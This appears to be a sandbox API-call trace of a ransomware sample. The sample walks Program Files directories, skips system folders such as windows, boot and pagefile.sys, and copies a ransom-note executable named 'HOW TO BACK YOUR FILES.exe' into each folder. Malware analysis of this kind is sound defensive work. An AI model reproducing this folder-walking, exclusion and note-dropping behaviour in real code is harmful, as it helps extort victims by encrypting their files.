	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="windows") returned -1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="bootmgr") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="temp") returned -1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="pagefile.sys") returned -1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="boot") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="ids.txt") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="ntuser.dat") returned -1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="perflogs") returned -1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="MSBuild") returned -1
	[0051.336] lstrlenW (lpString="Microsoft Visual Studio 8") returned 25
	[0051.336] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office") returned 39
	[0051.336] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Microsoft Visual Studio 8" | out: lpString1="Microsoft Visual Studio 8") returned="Microsoft Visual Studio 8"
	[0051.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0051.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5c8fa0
	[0051.336] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0051.336] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x1dbe8b80, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dbe8b80, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft.NET", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft.NET", lpString2="Apollon865.txt.exe") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft.NET", lpString2=".") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft.NET", lpString2="..") returned 1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="windows") returned -1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="bootmgr") returned 1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="temp") returned -1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="pagefile.sys") returned -1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="boot") returned 1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="ids.txt") returned 1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="ntuser.dat") returned -1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="perflogs") returned -1
	[0051.337] lstrcmpiW (lpString1="Microsoft.NET", lpString2="MSBuild") returned -1
	[0051.337] lstrlenW (lpString="Microsoft.NET") returned 13
	[0051.337] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 48
	[0051.337] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Microsoft.NET" | out: lpString1="Microsoft.NET") returned="Microsoft.NET"
	[0051.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0051.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bca10
	[0051.337] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0051.337] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x1dbc2a20, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dbc2a20, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="Apollon865.txt.exe") returned 1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2=".") returned 1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="..") returned 1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="windows") returned -1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="bootmgr") returned 1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="temp") returned -1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="pagefile.sys") returned -1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="boot") returned 1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="ids.txt") returned 1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="ntuser.dat") returned -1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="perflogs") returned -1
	[0051.337] lstrcmpiW (lpString1="Mozilla Firefox", lpString2="MSBuild") returned -1
	[0051.338] lstrlenW (lpString="Mozilla Firefox") returned 15
	[0051.338] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET") returned 36
	[0051.338] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Mozilla Firefox" | out: lpString1="Mozilla Firefox") returned="Mozilla Firefox"
	[0051.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0051.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bca68
	[0051.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0051.338] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~2")) returned 1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="Apollon865.txt.exe") returned 1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="windows") returned -1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="bootmgr") returned 1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="temp") returned -1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="pagefile.sys") returned -1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="boot") returned 1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="ids.txt") returned 1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="ntuser.dat") returned -1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="perflogs") returned -1
	[0051.338] lstrcmpiW (lpString1="Mozilla Maintenance Service", lpString2="MSBuild") returned -1
	[0051.338] lstrlenW (lpString="Mozilla Maintenance Service") returned 27
	[0051.338] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38
	[0051.338] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Mozilla Maintenance Service" | out: lpString1="Mozilla Maintenance Service") returned="Mozilla Maintenance Service"
	[0051.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0051.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599450
	[0051.338] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0051.338] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553ced90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0051.338] lstrcmpiW (lpString1="MSBuild", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.338] lstrcmpiW (lpString1="MSBuild", lpString2="Apollon865.txt.exe") returned 1
	[0051.338] lstrcmpiW (lpString1="MSBuild", lpString2=".") returned 1
	[0051.338] lstrcmpiW (lpString1="MSBuild", lpString2="..") returned 1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="windows") returned -1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="bootmgr") returned 1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="temp") returned -1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="pagefile.sys") returned -1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="boot") returned 1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="ids.txt") returned 1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="ntuser.dat") returned -1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="perflogs") returned -1
	[0051.339] lstrcmpiW (lpString1="MSBuild", lpString2="MSBuild") returned 0
	[0051.339] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="Apollon865.txt.exe") returned 1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2=".") returned 1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="..") returned 1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="windows") returned -1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="bootmgr") returned 1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="temp") returned -1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="pagefile.sys") returned 1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="boot") returned 1
	[0051.339] lstrcmpiW (lpString1="Reference Assemblies", lpString2="ids.txt") returned 1
	[0051.339] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Reference Assemblies" | out: lpString1="Reference Assemblies") returned="Reference Assemblies"
	[0051.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0051.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598408
	[0051.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0051.339] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1db76760, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1db76760, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0051.339] lstrcmpiW (lpString1="Uninstall Information", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.339] lstrcmpiW (lpString1="Uninstall Information", lpString2="Apollon865.txt.exe") returned 1
	[0051.339] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Uninstall Information" | out: lpString1="Uninstall Information") returned="Uninstall Information"
	[0051.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0051.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5458
	[0051.340] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0051.340] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1
	[0051.340] lstrcmpiW (lpString1="Windows Defender", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.340] lstrcmpiW (lpString1="Windows Defender", lpString2="Apollon865.txt.exe") returned 1
	[0051.340] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender"
	[0051.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0051.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcac0
	[0051.340] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0051.340] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1
	[0051.340] lstrcmpiW (lpString1="Windows Mail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.340] lstrcmpiW (lpString1="Windows Mail", lpString2="Apollon865.txt.exe") returned 1
	[0051.340] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail"
	[0051.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0051.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bded8
	[0051.368] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0051.368] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0051.368] lstrcmpiW (lpString1="Windows Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.368] lstrcmpiW (lpString1="Windows Media Player", lpString2="Apollon865.txt.exe") returned 1
	[0051.368] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Windows Media Player" | out: lpString1="Windows Media Player") returned="Windows Media Player"
	[0051.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0051.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598468
	[0051.368] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c50
	[0051.368] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1db76760, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1db76760, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1
	[0051.368] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.368] lstrcmpiW (lpString1="Windows NT", lpString2="Apollon865.txt.exe") returned 1
	[0051.368] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT"
	[0051.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0051.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdf28
	[0051.368] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0051.368] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1
	[0051.368] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.368] lstrcmpiW (lpString1="Windows Photo Viewer", lpString2="Apollon865.txt.exe") returned 1
	[0051.369] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Windows Photo Viewer" | out: lpString1="Windows Photo Viewer") returned="Windows Photo Viewer"
	[0051.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0051.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5984c8
	[0051.369] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0051.369] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0051.369] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.369] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="Apollon865.txt.exe") returned 1
	[0051.369] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Windows Portable Devices" | out: lpString1="Windows Portable Devices") returned="Windows Portable Devices"
	[0051.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0051.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5528
	[0051.369] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fc70
	[0051.369] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0051.369] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.369] lstrcmpiW (lpString1="Windows Sidebar", lpString2="Apollon865.txt.exe") returned 1
	[0051.369] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar"
	[0051.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0051.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bcb18
	[0051.369] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0051.369] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0
	[0051.369] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0051.369] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd70
	[0051.369] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar"
	[0051.369] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0051.369] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0051.369] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar") returned 38
	[0051.370] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar"
	[0051.370] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.370] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.377] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.377] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36b283d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36b283d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.377] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.377] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.377] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0051.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0051.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5590
	[0051.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0051.377] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0051.377] lstrcmpiW (lpString1="Gadgets", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.377] lstrcmpiW (lpString1="Gadgets", lpString2="Apollon865.txt.exe") returned 1
	[0051.377] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Gadgets" | out: lpString1="Gadgets") returned="Gadgets"
	[0051.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0051.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c55f8
